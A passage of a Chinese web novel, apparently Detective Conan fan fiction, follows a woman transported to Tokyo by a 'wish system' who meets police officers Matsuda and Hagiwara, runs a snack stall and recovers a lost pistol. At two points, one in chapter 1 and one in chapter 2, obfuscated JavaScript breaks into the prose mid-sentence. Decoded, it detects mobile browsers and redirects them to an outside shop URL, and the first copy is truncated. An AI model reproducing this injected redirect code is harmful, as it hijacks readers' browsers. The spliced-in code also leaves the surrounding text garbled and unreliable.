《柯学世界救警校组,但我是情感骗子》 1. 第 1 章 午夜的风带着东京特有的潮湿凉意,像无数根细针,顺着玥涵单薄外套的缝隙往里钻。她是被一阵尖锐得近乎刺耳的机械音惊醒的,睁开眼的瞬间,熟悉的鹅黄色卧室天花板消失无踪,取而代之的是新宿街头交织闪烁的霓虹,红的、蓝的、粉的光怪陆离,晃得她眼睛发涩。 “心愿系统绑定成功。”冰冷的电子音毫无感情地在脑海中炸开,没有任何预兆,“核心任务发布:改变萩原研二、松田阵平、诸伏景光、伊达航死亡结局,协助五人对抗黑衣组织。任务失败惩罚:灵魂湮灭。” 最后四个字像重锤,狠狠砸在玥涵的神经上。她猛地坐起身,发现自己正靠在一根冰凉的路灯杆上,指尖触碰到的金属触感真实得可怕。她下意识地摸向口袋,钱包、手机、身份证——所有能证明“玥涵”这个身份存在过的东西,全都不翼而飞。掌心空空如也,就像她此刻悬在半空的心。 这不是梦。玥涵用力掐了一下自己的胳膊,清晰的痛感让她瞬间清醒。她穿越了,穿到了她曾经追过的《名侦探柯南》世界里。可这份认知没有带来任何兴奋,只有深入骨髓的恐慌。她对这个世界的了解,仅限于动漫里的案件和角色,那些光鲜亮丽的推理背后,是无处不在的危险,是黑衣组织的阴鸷狠辣,是随时可能降临的死亡。 系统面板在她眼前缓缓展开,淡蓝色的虚拟光膜只有她能看见。上面除了刚刚发布的核心任务,就只有四个任务对象的基础定位——四个闪烁的红点,散落在东京的不同区域,还有一个简陋的危险预警功能,除此之外,再无其他指引。没有新手礼包,没有身份设定,甚至连一句“欢迎来到新世界”的客套话都没有。系统就像一个冷漠的监工,只抛给她一个生死攸关的任务,便不管不顾。 玥涵深吸一口气,试图平复胸腔里翻涌的慌乱。多年独自生活的经历让她养成了临危不乱的习惯,再慌乱也无济于事,当务之急是解决“活下去”的问题。她站起身,拍了拍外套上的灰尘,开始仔细观察周围的环境。 新宿的午夜依旧喧嚣,川流不息的车辆驶过柏油马路,留下两道转瞬即逝的光影。街头的广告牌滚动着她看不懂的日文,穿着时尚的年轻人三五成群地走过,谈笑风生的声音夹杂着汽车鸣笛,构成一幅陌生的都市夜景。语言不通、身份不明、身无分文,这三座大山压得她几乎喘不过气。她不知道该去哪里找住的地方,不知道该怎么弄到食物,更不知道该如何在这个充满危险的世界里立足。 她漫无目的地往前走,脚下的帆布鞋早已被夜色浸凉。路过一家二十四小时便利店时,她停下脚步,玻璃门内暖黄色的灯光和食物的香气勾得她肚子咕咕直叫。她下意识地摸了摸口袋,空空如也的触感让她自嘲地笑了笑。她只能隔着玻璃,贪婪地望着里面的饭团和热饮,喉咙微微发紧。 就在这时,系统面板突然轻微震动了一下。原本散落在不同区域的四个红点中,代表“松田阵平”的那个红点,正以极快的速度向她所在的方向移动。面板上的距离数字不断缩减:1000米、800米、500米…… 玥涵的心跳骤然加速,紧张感瞬间攫住了她。松田阵平,那个在动漫里桀骜不驯、才华横溢,却最终为了保护市民而牺牲的□□处理班警官。这是她第一个可能遇到的任务对象,也是她改变悲剧的起点。可她现在这个样子,狼狈不堪、身份不明,贸然相遇,会是怎样的场景?他会相信她吗?还是会把她当成可疑人员? 她下意识地往路灯杆的阴影里缩了缩,试图隐藏自己的身影。晚风卷着她的发梢,拂过脸颊,带来一阵凉意。远处,警笛的鸣响由远及近,越来越清晰,那急促的声音像催命符一样,让她的神经越绷越紧。她知道,松田阵平大概率是在执行任务,而任务就意味着危险。 红色的警灯在夜色中闪烁,两辆警车呼啸而过,停在了不远处的十字路口。车门打开,几名穿着警服的人员快速下车,其中一个身形挺拔的男人格外引人注目。他穿着黑色的警服,身姿笔挺,下颌线线条凌厉,眉宇间带着一股生人勿近的桀骜。即使隔着一段距离,玥涵也能感受到他身上那种沉稳又带着锋芒的气场。 系统面板自动弹出信息:“松田阵平,警视厅警备部机动队□□处理班成员,任务对象之一。当前状态:执行紧急□□排查任务。” 玥涵的呼吸微微一滞。这就是松田阵平,比动漫里更具冲击力的真实模样。他正低头和身边的同事说着什么,手指偶尔指向远处的一栋写字楼,神情专注而严肃。警灯的红光在他脸上明明灭灭,勾勒出他冷峻的轮廓。 她不知道自己该上前还是该逃离。上前,她没有任何能证明自己的东西,甚至无法流利地和他交流;逃离,这可能是她离任务对象最近的一次机会,错过这次,下次再遇到不知要等到什么时候。 松田阵平似乎察觉到了什么,目光不经意间扫过玥涵所在的方向。四目相对的瞬间,玥涵的心脏猛地一缩,下意识地低下了头。她能感觉到那道目光锐利如鹰,仿佛能穿透阴影,看清她所有的窘迫和不安。 几秒钟后,那道目光移开了。松田阵平收回视线,转身跟着同事快步走向写字楼,留给玥涵一个决绝而挺拔的背影。警灯依旧在闪烁,警笛的声音却渐渐平息,只剩下晚风拂过街道的轻响。 玥涵缓缓抬起头,望着他消失的方向,指尖微微蜷缩。 东京的街头还浸在潮湿的凉意里,玥涵就被空腹的绞痛惊醒了。她蜷缩在公园长椅上,单薄的外套根本抵挡不住凌晨的寒风,浑身冻得发僵,肚子里的空落感像只小兽,不停地啃咬着她的五脏六腑。昨晚在新宿街头漫无目的地游荡到后半夜,她实在撑不住,才在这张长椅上勉强眯了几个小时,梦里全是系统冰冷的提示音和空荡荡的口袋。 她挣扎着坐起身,揉了揉发麻的腿,拍了拍外套上沾着的露水,深吸一口气走进了清晨的人流。眼下最迫切的,是找到一份能填饱肚子的活计。她凭着记忆里零星的日语词汇,挨家挨户询问街边的小店是否需要临时工,可“没有身份证明”这五个字,像一道无法逾越的鸿沟,将她所有的希望都挡了回去。店主们要么不耐烦地挥手赶她走,要么用警惕的眼神上下打量她,那眼神像针一样,刺得她浑身不自在。 接连被十几家店拒绝后,玥涵的脚步渐渐沉重起来。阳光慢慢升高,照在身上却没有丝毫暖意,反而让她更加清晰地感受到自己的窘迫。她拐进一条僻静的小巷,想找个地方歇一歇,刚走到巷口,两个染着黄毛的小混混就拦住了她的去路。 “喂,外国妞,身上有钱吗?”其中一个高个子混混吊儿郎当地靠在墙上,眼神贪婪地扫过玥涵,语气里满是不怀好意。另一个矮个子则搓着手,一步步向她逼近:“没钱也没关系,陪我们玩玩也行啊。” 玥涵的心脏瞬间提到了嗓子眼,后背一阵发凉。她强作镇定,往后退了两步,攥紧了拳头——她知道自己打不过他们,只能想办法脱身。眼角的余光瞥见巷口堆放着一堆废弃的纸箱,她心里飞快地盘算着。就在矮个子混混伸手要抓她胳膊的时候,她猛地侧身躲开,顺势推倒了身边的纸箱堆。 纸箱哗啦啦地倒了一地,挡住了两个混混的去路。趁着他们手忙脚乱清理纸箱的间隙,玥涵转身就跑,脚下的帆布鞋踩在石板路上,发出急促的声响。她不敢回头,只知道拼尽全力往前跑,直到冲出小巷,撞进一片喧闹的人群里,才敢停下来大口喘气,后背已经被冷汗浸湿了。 惊魂未定的玥涵刚想平复一下呼吸,就被前方突然拉起的黄色警戒线拦住了去路。警戒线后面,围着不少看热闹的路人,叽叽喳喳的议论声夹杂着警员急促的呼喊声,营造出一种压抑的紧张氛围。“前方危险,请勿靠近!都往后退一退!”一名穿着警服的警员正奋力维持着秩序,额角满是汗珠。 玥涵抬头望去,只见不远处的一栋写字楼前,几名穿着厚重防爆服的人员正小心翼翼地向大楼入口移动,他们的动作沉稳而缓慢,每一步都透着凝重。防爆服的黑色材质在阳光下泛着冷光,与周围慌乱的人群形成了鲜明的对比。一股不祥的预感涌上心头,就在这时,脑海里的系统突然发出轻微的震动,淡蓝色的面板弹了出来:“危险预警:300米范围内存在小型爆炸风险,波及人群可能达15人。” “□□……”玥涵的心跳骤然加速,指尖冰凉。她下意识地往警戒线后退了几步,目光却不由自主地被那些防爆服人员吸引。她的视线在几个人身上扫过,最终定格在队伍中一个身形挺拔的男人身上。他戴着防爆头盔,只能看到线条凌厉的下颌线和紧抿的嘴唇,哪怕隔着远距离,哪怕穿着臃肿的防爆服,也能感受到他身上那种与众不同的气场——沉稳中带着一丝桀骜,像一把藏在鞘里的剑,看似平静,却暗藏锋芒。 系统面板自动弹出了他的信息:“松田阵平,警视厅警备部机动队□□处理班成员,任务对象之一。” 原来是他。玥涵的心跳漏了一拍,想起昨晚在新宿街头,系统提示他正在快速靠近的场景。没想到再次相遇,竟是在这样危险的□□处理现场。她看着他熟练地检查着装备,动作精准利落,没有一丝多余的慌乱,心中莫名地升起一丝安心。 可这份安心很快就被打破了。她注意到,有几个不知情的路人还在好奇地往警戒线边缘凑,甚至有人举起手机拍照,完全没意识到危险就在眼前。玥涵的心一下子揪紧了,系统提示的15人波及范围,很可能就包括这些好奇的路人。 她顾不上自己刚从混混手里逃脱的恐惧,也顾不上自己身份不明的窘迫,快步走到警戒线附近,用生硬的日语夹杂着肢体动作,焦急地对着那些往前凑的路人喊道:“危险!后退!快后退!”她的声音因为紧张而有些发颤,却带着一种让人无法忽视的冷静。 一个抱着孩子的妇人被她的语气打动,犹豫了一下,拉着身边的丈夫往后退了几步。有了第一个人带头,其他几个犹豫的路人也跟着后退了。玥涵松了口气,继续用眼神示意剩下的人远离警戒线。 这一幕,恰好落入了刚完成初步排查、摘下头盔透气的松田阵平眼中。他抬手擦了擦额角的汗珠,目光随意地扫过围观的人群,却在看到玥涵时,脚步顿住了。是那个昨晚在新宿街头,躲在路灯杆阴影里的女孩。 她依旧穿着那件不合时宜的薄外套,脸色苍白得像纸,嘴唇也没有一丝血色,显然是没休息好,也没吃东西。可她的眼睛却亮得惊人,像盛着星光,清澈而坚定,与周围人群的慌乱、好奇格格不入。她站在那里,小小的身影却透着一股倔强的力量,正努力地提醒着其他人远离危险。 松田阵平的眉头微微蹙起,心中升起一丝好奇。这个女孩看起来弱不禁风,却总能出现在这种特殊的场合,而且眼神里的冷静,根本不像是普通的路人。他想上前问问她的身份,问问她为什么会在这里,可还没等他迈开脚步,腰间的对讲机突然急促地响了起来。 “松田!发现□□具体位置,立刻归队!”对讲机里传来同事急促的声音。 松田阵平收回目光,不再犹豫,重新戴上头盔,转身快步跑回队伍中,再次投入到紧张的□□处理工作中。 玥涵坐在街角的台阶上,指尖攥着最后几枚叮当作响的日元硬币,胃里的饥饿感像潮水般反复冲刷着空荡荡的五脏六腑,每一次涌动都带着尖锐的钝痛。 这已经是她来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜市早已热闹起来,五颜六色的灯笼挂在摊位上方,将整条街映照得暖意融融。吆喝声、谈笑声、餐具碰撞声交织在一起,构成一幅鲜活的市井图景。玥涵找了个相对僻静的角落,将从路边捡来的废旧木板铺在地上,放上借来的小锅,又从背包里翻出一块干净的布铺在旁边,算是支起了自己的小摊。她没有招牌,只能将刚和好的面团放在身前,用动作示意自己在卖小吃。 她先往锅里倒了些清水,待水烧开后,开始熟练地揉面、擀皮。她的手指纤细灵活,面团在她手中仿佛有了生命,很快就被擀成一张张薄如蝉翼的馄饨皮。接着,她将剁好的猪肉馅加上葱花、盐和少许生抽拌匀,用筷子挑起一团馅料,熟练地包进皮里,捏出精致的褶皱。一个个圆滚滚的馄饨很快就摆满了盘子,透着新鲜的粉嫩。 水再次沸腾,玥涵将馄饨一个个下入锅中,白色的馄饨在沸水中翻滚,很快就浮了起来,散发出淡淡的肉香。她又往锅里加了少许青菜叶,淋上一点香油,一碗热气腾腾的馄饨就做好了。与此同时,她还在旁边的小铁板上煎起了小笼包,金黄的外皮煎得酥脆,浓郁的香气混合着肉香,很快就弥漫开来,吸引了不少路人的目光。 第一个停下脚步的,是个穿着警服的年轻男人。他身形挺拔,眉眼弯弯,笑容像午后的阳光一样爽朗,即使穿着略显严肃的警服,也让人觉得亲切。他凑到摊位前,深深吸了一口气,眼睛瞬间亮了起来,用流利的中文说道:“哇,好香!没想到在这儿能吃到这么正宗的华夏小吃,你是华夏人吗?” 熟悉的母语像一股暖流,瞬间涌遍玥涵的全身。她愣了一下,抬起头,眼中满是惊喜,用力点了点头:“是的,我是华夏人。” “太好了!”男人兴奋地搓了搓手,“给我来一碗馄饨,再来一笼小笼包!我叫萩原研二,是警视厅□□处理班的。说起来,我之前去华夏交流过一段时间,特别喜欢你们那儿的小吃,尤其是小笼包,可惜回来后就很少吃到这么正宗的了。” 玥涵心中一动,萩原研二?这是系统任务对象之一。她强压下心中的波澜,快速盛好一碗馄饨,又将刚煎好的小笼包装进纸盘里,递到他面前:“请慢用。” 萩原研二毫不客气地拿起筷子,夹起一个小笼包,小心翼翼地咬了一小口,滚烫的汤汁瞬间在口腔里爆开,浓郁的肉香混合着葱花的清香,让他忍不住眯起了眼睛,发出满足的喟叹:“太好吃了!就是这个味道!”他吃得不亦乐乎,一口小笼包一口馄饨,很快就将食物消灭殆尽。 吃饱后,萩原研二没有立刻离开,反而拉了个小马扎坐在摊位旁边,主动和玥涵闲聊起来。他问她来东京多久了,为什么会在这里摆摊,语气里满是真诚的好奇,没有丝毫的轻视。玥涵斟酌着回答,隐瞒了穿越和系统的秘密,只说自己刚到东京,暂时遇到了点困难,只能先摆摊维持生计。 萩原研二没有追问,只是点了点头,眼神里带着一丝理解。他热情地给她介绍附近的情况,告诉她哪里的食材更便宜,哪里的夜市管理比较宽松,还拍着胸脯承诺:“以后我会常来捧场,还会带我的同事们一起来!你一个女孩子在这里不容易,有什么困难尽管跟我说。” 看着他温暖的笑容,听着他真诚的话语,玥涵紧绷了三天的神经终于彻底放松下来。这是她来到这个世界后,第一次感受到陌生人的善意,像一缕微光,驱散了她心中的阴霾。她的眼眶微微发热,轻声说道:“谢谢你,萩原警官。” 而她不知道的是,不远处的街角阴影里,一个身形挺拔的男人正靠在路灯杆上,静静地看着这边。松田阵平刚结束一项□□排查任务,路过夜市时,无意间看到了那个熟悉的身影——正是前两天在警戒线外提醒路人,又在小巷里遭遇混混的女孩。此刻,她正和萩原研二相谈甚欢,脸上带着他从未见过的柔和笑容,眉眼弯弯,像被月光点亮的星辰。 松田阵平的眉头微微蹙起,心中的好奇愈发浓烈。 2. 第 2 章 玥涵的小摊前早已排起了不长不短的队伍,蒸腾的热气裹着小笼包的鲜香和馄饨的醇厚,在空气中弥漫开来,引得路过的行人频频驻足。 她熟练地转动着手中的小铁板,金黄酥脆的小笼包在铁板上发出滋滋的声响,翻面、淋油,每一个动作都流畅自然。额角渗出细密的汗珠,她随手用袖子擦了擦,脸上却始终带着浅浅的笑容。这是她摆摊的第三天,生意比预想中好上不少,口袋里沉甸甸的硬币,让她第一次对这个陌生的世界有了些许踏实感。她甚至已经盘算好,等再攒上几天钱,就去附近找一个便宜的胶囊旅馆,先解决住宿这个大难题。 “麻烦一份小笼包,打包带走。”熟悉的爽朗声音响起,玥涵抬头,看到萩原研二穿着便服,双手插在口袋里,笑容灿烂地站在摊位前。他刚结束轮班,卸下了警服的严肃,多了几分少年气的鲜活。 “好嘞,马上就好。”玥涵应了一声,加快了手上的动作,特意多煎了两个小笼包,放进纸盘里,“今天的赠品,谢谢你前两天的照顾。” 萩原研二眼睛一亮,毫不客气地接过来:“那我可就却之不恭了。你这手艺是真不错,比我在华夏吃到的还要地道。对了,我跟我同事提起你这儿的小吃,他们都挺感兴趣的,过两天我带他们来尝尝。” 玥涵心中一暖,刚想道谢,就听到身后传来一阵沉重的脚步声,伴随着严肃的呵斥声:“这里是违规经营区域,没有经营许可,立刻停止营业!” 她的身体猛地一僵,手中的木勺“哐当”一声掉在铁板上,发出刺耳的声响。回头望去,三名穿着制服的城管正快步走来,为首的男人面色冷峻,眼神锐利地扫过她的小摊,语气不容置喙:“按照东京都的相关规定,无许可占道经营,所有工具和食材一律没收。” 玥涵的心脏瞬间揪紧,血液仿佛都凝固了。这一推车的工具和食材,是她全部的家当,是她在这个世界活下去的唯一希望。她急忙上前一步,挡在小推车前,嘴唇抿得紧紧的,努力在脑海中搜索着合适的日语词汇,却因为过度紧张,一时竟说不出一句完整的话。“我……我只是……”她的声音发颤,眼眶不受控制地泛红,“请……请不要没收,我……我会尽快办理手续的。” 城管队员显然见多了这种场面,根本不为所动,其中一人已经伸手去抓小推车的把手。“让开!这不是你能说了算的。”男人的语气冰冷,没有丝毫通融的余地。 玥涵死死地攥着推车的边缘,指节因为用力而泛白。她知道自己不是这些人的对手,可她不能眼睁睁看着自己的希望被摧毁。眼泪在眼眶里打转,她却倔强地不让它掉下来,只是用哀求的眼神看着城管队员,一遍遍地重复着:“求求你们,再给我一点时间,就一点时间……” 周围的顾客纷纷停下脚步,围过来看热闹,有人小声议论着,却没有人敢上前帮忙。夜市的喧嚣仿佛在这一刻静止了,只剩下玥涵微弱的哀求声和城管队员严肃的呵斥声,压得她几乎喘不过气。 就在这千钧一发之际,一个熟悉的声音穿透人群,带着不容置疑的力量响起:“等一下!” 玥涵猛地抬头,看到萩原研二快步从人群中挤了进来,他脸上的笑容已经消失,取而代之的是一种沉稳的认真。他走到城管队长面前,微微颔首,语气平和却带着足够的分量:“山本队长,好久不见。” 被称作山本队长的男人愣了一下,认出了萩原研二,脸色缓和了些许:“是萩原警官?你怎么会在这里?” “我来买份小吃,没想到遇到这种事。”萩原研二笑了笑,顺势指了指玥涵,“这位小姐是刚从华夏来东京的,对这边的经营规定不太熟悉,不是故意违规的。她一个女孩子在这边不容易,你看能不能通融一下,给她几天时间,让她尽快把手续补办齐全?” 山本队长皱了皱眉,有些为难:“可是规定就是规定,我们也是按章办事。” “我知道你们按章办事,”萩原研二语气诚恳,“这样吧,她的手续办理事宜,我会帮忙跟进。如果她逾期没有办好,到时候你们再按规定处理,怎么样?”他顿了顿,补充道,“她的小吃味道很正宗,我们警视厅的不少同事都想来尝尝,也算是给我们这些辛苦办案的人多一个解馋的地方。” 山本队长沉吟了片刻,看在萩原研二的面子上,最终点了点头:“既然是萩原警官担保,那我就通融这一次。但下不为例,三天之内,必须把经营许可补办齐全,否则我们一定会严肃处理。” “太感谢你了,山本队长!”萩原研二立刻道谢。 城管队员们收回了手,山本队长又叮嘱了玥涵几句,便带着队员离开了。周围的人群见没了热闹可看,也渐渐散去,夜市的喧嚣重新恢复,却仿佛比刚才温柔了许多。 玥涵紧绷的身体瞬间垮了下来,她踉跄着后退了一步,扶住身后的小推车才稳住身形。眼泪终于忍不住掉了下来,这一次,不是因为绝望,而是因为劫后余生的庆幸和深深的感激。她走到萩原研二面前,深深鞠了一躬,声音哽咽得不成样子:“谢谢你,萩原警官,真的……太谢谢你了。如果不是你,我真的不知道该怎么办了。” “小事而已,不用这么客气。”萩原研二又恢复了往日的爽朗笑容,伸手拍了拍她的肩膀,语气温柔,“别哭了,问题不是解决了吗?对了,办理经营许可和临时居住证明都需要不少手续,你一个人可能搞不定。明天我休息,正好可以带你去区役所问问,帮你梳理一下流程。” 玥涵抬起头,泪眼婆娑地看着他,心中暖流涌动。在这个举目无亲的陌生世界,萩原研二的善意,就像一束温暖的阳光,驱散了她心中的阴霾。她用力点了点头,哽咽着说:“好,谢谢你。” 就在这时,她的目光无意间扫过不远处的街角。路灯的光晕在那里投下一片深邃的阴影,松田阵平正靠在路灯杆上,双手插在口袋里,静静地看着这边。夜色模糊了他的表情,只能看到他挺拔的身形和深不见底的眼神。四目相对的瞬间,玥涵的心跳莫名地漏跳了一拍,她甚至能感觉到自己的脸颊瞬间升温。而松田阵平只是淡淡地看了她一眼,没有任何表示,便转身走进了身后的黑暗中,只留下一个决绝而挺拔的背影。 玥涵怔怔地望着他消失的方向,指尖无意识地蜷缩起来。她不知道松田阵平是什么时候来的,也不知道他在这里看了多久。但她能清晰地感觉到,这个总是一脸桀骜、不苟言笑的男人,似乎一直在默默关注着她。这种感觉很微妙,带着一丝说不清道不明的悸动,在她的心底悄然蔓延开来。 萩原研二顺着她的目光看过去,只看到一片漆黑的夜色,好奇地问:“怎么了?看什么呢?” “没……没什么。”玥涵回过神,连忙收回目光,擦了擦脸上的眼泪,努力挤出一个笑容,“谢谢你,萩原警官。明天就麻烦你了。” 萩原研二笑着摆摆手:“客气什么,赶紧收拾一下早点回去吧,晚上不安全。有什么事随时给我打电话。”他说着,从口袋里掏出一张纸条,写下自己的手机号递给她。 区役所的玻璃门反射着正午刺眼的阳光,玥涵站在门口,指尖攥着那张被捏得发皱的申请单,耳边还回响着工作人员冰冷的声音:“没有固定住所,没有本地担保人,临时居住证明无法办理。”这句话像一盆冰水,将她心中刚刚燃起的希望彻底浇灭。 她沿着人行道慢慢往前走,脚步沉重得像灌了铅。萩原研二的热心帮助让她看到了一丝曙光,可现实的壁垒依旧坚硬得难以撼动。没有身份证明,她就只能一直过着“黑户”的日子,不能租正规的房子,不能找稳定的工作,甚至连在夜市摆摊都要时刻提心吊胆。刚才在区役所,工作人员看她的眼神里带着明显的警惕和不耐烦,那种被排斥、被怀疑的感觉,像细小的针一样,密密麻麻地扎在她的心上。 路过一家便利店时,她停下脚步,看着玻璃门内货架上的食物,胃里的饥饿感再次袭来。她摸了摸口袋里为数不多的硬币,最终还是转身离开了。现在的每一分钱都要省着花,她不知道下一顿饭在哪里,也不知道今晚该去哪里落脚。绝望像潮水般涌来,几乎要将她淹没,她靠着冰冷的墙壁滑坐下来,将脸埋在膝盖里,肩膀微微颤抖。 就在这时,脑海中突然响起系统冰冷的提示音,打破了她的颓丧:“支线任务发布:协助警方找回丢失的证物(一把涉案手枪),任务奖励:为期一个月的临时身份证明。” 临时身份证明!这五个字像一道光,瞬间刺破了笼罩在她心头的阴霾。她猛地抬起头,眼中重新燃起希望的光芒。系统面板自动展开,上面清晰地标注着证物的藏匿地点——郊区的一处废弃工厂,还有一张简易的路线图。没有丝毫犹豫,她立刻站起身,拍掉裤子上的灰尘,朝着公交站台的方向跑去。无论前方有什么危险,她都必须抓住这个机会。 郊区的公交班次很少,玥涵等了将近半个小时才坐上公交车。车子一路颠簸,窗外的风景渐渐从繁华的都市变成了荒凉的郊区,高楼大厦被低矮的平房和废弃的厂房取代。阳光透过车窗洒进来,却驱不散空气中的萧瑟感。一个小时后,她在离废弃工厂最近的站台下车,按照系统提示的路线,朝着工厂的方向走去。 废弃工厂隐藏在一片茂密的树林后面,远远望去,高大的厂房墙体斑驳,窗户玻璃碎裂不堪,露出黑洞洞的窗口,像一只只空洞的眼睛,透着阴森诡异的气息。玥涵深吸一口气,压下心中的恐惧,小心翼翼地推开虚掩的工厂大门。“吱呀——”一声刺耳的声响,在寂静的环境中显得格外突兀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007632|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吓得她浑身一僵。 工厂内部一片漆黑,只有几缕阳光从破损的屋顶和窗户缝隙中透进来,在地面上投下斑驳的光影。空气中弥漫着浓重的铁锈味和灰尘的味道,呛得她忍不住咳嗽了几声。她拿出手机,打开手电筒功能,微弱的光线照亮了前方的路。地面上散落着废弃的零件、破旧的木箱和腐烂的杂物,行走时需要格外小心,稍不留意就会被绊倒。 她按照系统的指引,在工厂内部小心翼翼地穿行。脚下的碎石发出“嘎吱嘎吱”的声响,在寂静的厂房里不断回荡,放大了她内心的紧张。她的心跳得飞快,手心全是冷汗,总觉得身后有什么东西在跟着她。她不敢回头,只能加快脚步,朝着系统标注的目标位置跑去。 在工厂最深处的一个角落,她找到了系统提示的那个破旧木箱。木箱上布满了灰尘和蛛网,看起来已经废弃了很久。玥涵咽了口唾沫,伸手轻轻掀开木箱的盖子,一股浓重的霉味扑面而来。她捂住鼻子,用手机手电筒往里照去,只见木箱底部,用一块黑色的布包裹着一个长方形的物体。 就是它!玥涵的心脏猛地一跳,她小心翼翼地伸出手,将那个包裹拿了出来。入手沉甸甸的,触感坚硬,隔着布料也能隐约感觉到冰冷的金属质感。她屏住呼吸,慢慢打开包裹,一把黑色的手枪赫然出现在眼前,枪身还残留着些许灰尘,却依旧透着冰冷的威慑力。 就在她拿起手枪准备离开时,身后突然传来一声冷冽的喝止,像淬了冰一样,瞬间冻结了她的动作:“不许动!” 玥涵吓得浑身一颤,手中的手枪差点掉在地上。她猛地转过身,只见一个身形挺拔的男人正站在不远处,手中的枪稳稳地对准她,眼神锐利如鹰,带着不容置疑的压迫感。是松田阵平! 他穿着一身黑色的警服,身姿笔挺,眉宇间满是警惕和冷峻。阳光从他身后的窗户透进来,在他身上勾勒出一圈金色的轮廓,却丝毫没有柔和他的气场。“你是谁?为什么会在这里?手里拿的是什么?”他的语气冰冷刺骨,每一个字都带着强烈的戒备,毕竟在案发现场发现一个形迹可疑的陌生女孩,任谁都会心生警惕。 玥涵的心脏提到了嗓子眼,大脑飞速运转。她知道自己现在的处境很危险,必须保持冷静。她缓缓举起双手,示意自己没有恶意,同时紧紧握住手中的手枪,生怕一不小心触发什么危险。“我……我是来还东西的。”她的声音有些发颤,却努力保持着镇定,“这是你们丢失的证物,我只是把它送回来。” 松田阵平的眼神没有丝毫放松,依旧紧紧盯着她:“把东西放在地上,慢慢后退。” 玥涵依言照做,小心翼翼地将手枪放在地上,然后慢慢后退了几步,与手枪保持着安全距离。她抬起头,迎上松田阵平的目光,清晰地解释道:“我之前路过这里的时候,看到有两个人鬼鬼祟祟地把东西藏在这里。我当时很害怕,就赶紧离开了。后来在新闻上看到警方丢失了证物,才意识到可能就是这个,所以今天特意过来看看,没想到真的是你们要找的东西。” 她的语速不快,语气真诚,眼神澄澈坦荡,没有丝毫闪躲。她知道,现在唯一能做的,就是让松田阵平相信自己。松田阵平盯着她的眼睛看了几秒,似乎在判断她话语的真伪。他的目光锐利得仿佛能穿透人心,让玥涵的心跳越来越快,手心的冷汗越渗越多。 片刻后,松田阵平缓缓收起枪,却依旧保持着警惕的姿态。他上前几步,蹲下身仔细检查了地上的手枪,确认是警方丢失的证物后,对玥涵的警惕稍稍减弱了一些。但他心中的疑惑并未消散:“你怎么确定这就是警方丢失的证物?新闻上并没有公布证物的具体信息和特征。” 玥涵早有准备,不慌不忙地回答:“我只是猜测。这里是废弃工厂,很少有人来,他们藏得这么隐蔽,肯定不是什么普通的东西。而且最近只有警方丢失证物的新闻,所以我就大胆猜测了一下。幸好没有猜错,不然就闹笑话了。”她说着,还勉强挤出了一个笑容,试图缓解紧张的气氛。 松田阵平沉默了片刻,没有再继续追问。他站起身,看了玥涵一眼,语气依旧冰冷,却少了几分刚才的压迫感:“跟我回警署做个笔录。” 玥涵心中一松,知道自己暂时安全了。她点了点头,乖巧地跟在松田阵平身后,朝着工厂外走去。 走出工厂,外面的阳光有些刺眼,玥涵下意识地眯了眯眼睛。松田阵平的警车就停在不远处的路边,红色的警灯在阳光下泛着冷光。他打开副驾驶的车门,示意玥涵上车。玥涵犹豫了一下,还是坐了进去。车内弥漫着淡淡的消毒水味。 松田阵平发动车子,引擎的轰鸣声打破了寂静。车子平稳地行驶在郊区的小路上,玥涵看着窗外不断倒退的风景,心中有些忐忑,又有些期待。 3. 第 3 章 警署的走廊弥漫着淡淡的消毒水味,混合着纸张和油墨的气息,沉闷得让人喘不过气。玥涵跟在松田阵平身后,脚步有些虚浮,指尖无意识地攥紧。刚才在废弃工厂的对峙让她心有余悸,而此刻即将面对的身份核查,更是让她悬着一颗心——她拿不出任何能证明自己身份的东西,这份笔录,或许会让她陷入更尴尬的境地。 “进去吧。”松田阵平推开笔录室的门,语气依旧是惯有的冰冷,听不出情绪。室内的灯光是刺眼的白炽灯,正对着桌子中央,将两人的影子清晰地投射在地面上。他示意玥涵坐在桌子一侧的椅子上,自己则拉开对面的椅子坐下,将笔录本和钢笔放在桌上,发出轻微的“啪嗒”声。 玥涵坐下时,指尖不小心碰到了冰凉的桌面,猛地缩回手。她抬眼看向松田阵平,他正低头翻着笔录本,侧脸的线条在灯光下显得格外凌厉,长长的睫毛垂下,在眼睑下方投下一小片阴影,遮住了眼底的情绪。“姓名。”他没有抬头,笔尖落在纸上,发出清脆的摩擦声。 “玥涵。”她的声音有些发紧,下意识地挺直了背脊。 “国籍。” “华夏。” “来东京的目的,居住地址,担保人信息。”松田阵平终于抬起头,目光落在她脸上,锐利得仿佛能穿透她所有的伪装。 玥涵的心跳骤然加速,手心渗出细密的冷汗。她抿了抿干涩的嘴唇,艰难地开口:“我……我刚到东京不久,还没有固定的居住地址,也没有担保人。来这里是为了……寻找亲戚,结果刚到就丢了所有东西。”她尽量让自己的语气显得真诚,眼神却不由自主地有些闪躲——这是她能想到的,最合理的借口。 松田阵平的目光在她脸上停留了几秒,没有立刻说话。笔录室里陷入了死寂,只有窗外偶尔传来的车辆鸣笛声,打破这令人窒息的安静。玥涵能清晰地听到自己的心跳声,“咚咚”地响着,仿佛要跳出胸腔。她知道,自己的借口漏洞百出,只要松田阵平再追问几句,就可能露馅。 就在她紧张得几乎要屏住呼吸时,松田阵平却收回了目光,重新低下头,继续在笔录本上记录着。“找到证物的具体过程,再详细说一遍。”他的语气依旧平淡,没有追问她身份的细节,像是默认了她的说法。 